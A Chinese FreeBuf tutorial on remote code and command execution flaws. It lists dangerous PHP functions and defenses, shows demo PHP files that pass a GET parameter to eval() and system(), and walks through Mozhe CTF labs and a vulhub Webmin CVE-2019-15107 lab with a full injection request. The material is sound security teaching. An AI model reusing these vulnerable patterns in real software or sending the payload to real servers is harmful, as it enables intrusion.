freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

RCE代码及命令执行漏洞
2023-01-05 20:38:15
所属地 江苏省

一、概念

在Web应用中有时候程序员为了考虑灵活性,简洁性,会在代码调用代码或者命令执行函数去处理,比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞,同样调用系统命令处理,将造成命令执行漏洞。

二、分类

1、代码执行

1)脚本代码
php
Java
Python

2)产生
web源码(thinkphp,eyoucms,wordpress)
中间件平台(Tomcat,Apache Struts2,Redis)
其他环境(PHP-CGI,Jenkins-CI,Java RMI)

3)检测
白盒(代码审计)
黑盒(漏扫工具,公开的漏洞,手工看参数以及功能点)

4)防御
敏感函数禁用
变量过滤或固定
WAF产品

2、命令执行

1)系统
linux
Windows
(怎么区分两种系统那,linux对大小写敏感,Windows对大小写不敏感)
2)产生
web源码(Nexus,Webmin,ElasticSearch)
中间件平台(Weblogic,Apache)
其他环境(Postgresql,Samba,Supervisord)
3)检测
白盒(代码审计)
黑盒(漏扫工具,公开漏洞,手工看应用功能点决定)
4)防御
敏感函数禁用
变量过滤或固定
WAF产品

三、代码执行

代码执行是指程序在调用一些能够将字符串转换为代码的函数时,没有考虑用户是否控制这个字符串,将造成代码执行漏洞,使得用户能利用任意脚本代码。

1、webshell

webshell就是以asp,php,jsp或者cgi等网页文件形式存在得一种代码执行漏洞,也可以将其称作为网页得后门。

2、代码执行函数

● eval();
● assert();
● preg_replace(); (PHP<5.5.0)
● include,require需要开启allow_url_include(php>5.2.0)
● create_function()
● call_user_func()
$_GET['a']($_GET['b'])

3、案例演示

test.php

`<?php

$code=$_GET['x'];
eval($code);
?>`
我们访问链接:http://127.0.0.1/test.php?x=phpinfo();
图片.png

访问链接:http://127.0.0.1/test.php?x=echo 1;
图片.png

四、命令执行

代码执行漏洞应用有时需要调用一些执行系统命令得函数,当用户能控制这些函数中得参数时,就可以将恶意系统命令拼接到正常命令中去,从而造成命令执行攻击,这就是命令执行漏洞,简单来说就是"靠执行脚本代码调用操作系统命令"。
1、命令执行函数
● system
● exec
● 反引号 ``
● shell_exec
● passthru
● popen
● proc_popen
● ......
2、案例演示
test.php

<?php $code=$_GET['x']; echo system($code); ?>
访问链接:http://127.0.0.1/test.php?x=ipconfig
图片.png

五、案例

1、命令注入执行分析(墨者)

漏洞地址:https://www.mozhe.cn/bug/detail/RWpnQUllbmNaQUVndTFDWGxaL0JjUT09bW96aGUmozhe
第一步:打开环境
图片.png

第二步:测试平台,发现好像有命令执行漏洞
图片.png

第三步:抓包进行查看
图片.png

cat<key_1173510526514.php
图片.png

2、PHP代码分析溯源(第四题)

第一步:打开环境
图片.png
第二步:对下面代码进行解密,注意要加双引号

<?php echo (gzinflate(base64_decode("&40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==&"))); ?>
图片.png

第三步:根据源码分析,这种只要添加参数a就可以
图片.png

第四步:tac<key_2668745917315.php
图片.png

3、vulhub-webadmin

https://vulhub.org/#/environments/webmin/CVE-2019-15107/
我们虚拟机打开环境
cd webmin/
cd CVE-2019-15107/
docker-compose up -d

我们访问链接:https://192.168.61.129:10000/
图片.png
我们对登陆口进行抓包。
图片.png

payload如下:
POST /password_change.cgi HTTP/1.1
Referer: https://x.x.x.x:10000
Origin: https://x.x.x.x:10000
user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2
我们放包,看结果。
图片.png

# 代码执行
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录